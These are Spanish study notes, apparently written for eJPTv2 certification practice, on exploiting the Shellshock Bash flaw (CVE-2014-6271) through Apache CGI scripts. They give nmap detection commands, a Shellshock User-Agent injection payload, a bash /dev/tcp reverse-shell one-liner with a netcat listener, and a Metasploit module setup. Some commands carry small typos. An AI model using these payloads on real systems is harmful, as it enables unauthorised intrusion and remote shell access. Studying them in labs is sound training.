⟁ HXA 🇪🇸 ES
┌─[ Apache ShellShock ]──────────────────────────────────────────────────────────────────────────────
│ user: Alejandro Lopez Aguilar
└ path: /en/apuntes/ejptv2/explotacion/linux/apache-shellshock/
El CVE-2014-6271, conocido como "Shellshock", es una vulnerabilidad crítica encontrada en Bash. La 
falla permite a los atacantes ejecutar comandos arbitrarios al utilizar ciertas variables de 
entorno, comprometiendo potencialmente la seguridad del sistema afectado.

Esta explotación, se realiza sobre scripts CGI. En primer lugar, realizamos un escanéo y 
visualizamos que hay sobre el puerto 80 y Apache

:: ▸ Explotación Manual
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────
nmap -sV <ip>
└───────────────────────────────────────────────────────────────────────────────────────────────────
Visualizando el código fuente de la web, podemos encontrar un cgi en ejecucion (/gettime.cgi)

~ ▸ Comprobar Vulnerabilidad
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────
nmap -sV <IP> —script=http-shellshock —script-args “http-shellshock.uri=<ruta del script cgi>”
└───────────────────────────────────────────────────────────────────────────────────────────────────
Si vemos que es vulnerable podemos ejecutar comandos usando burpsuite

Una vez vemos que es vulnerable, iniciamos BurpSuite, activamos el proxy en FoxyProxy y hacemos una 
petición a la ruta donde se encuentra el script cgi

Podemos cambiar el user agent

*() { :; }; echo; echo; /bin/bash -c '<comando>'*

Podemos obtener una rev shell poniendonos en escucha con nc
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────
nc -nlvp
└───────────────────────────────────────────────────────────────────────────────────────────────────
Ejecutamos el siguiente comando en el user agent para obtener la rev shell

bash -i >& /dev/tcp/<IP_LOCAL>/<PUERTO_LOCAL>/ 0>%1

:: ▸ Exploitación Metasploit (Recomendado)

Usamos el módulo: exploit/multi/http/apache_mod_cgi_bash_env_exec
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────
use exploit/multi/http/apache_mod_cgi_bash_env_exec	
set RHOST <IP víctima>
set TARGETURI <ruta del script cgi>
set LHOST <ip propia>
exploit
└───────────────────────────────────────────────────────────────────────────────────────────────────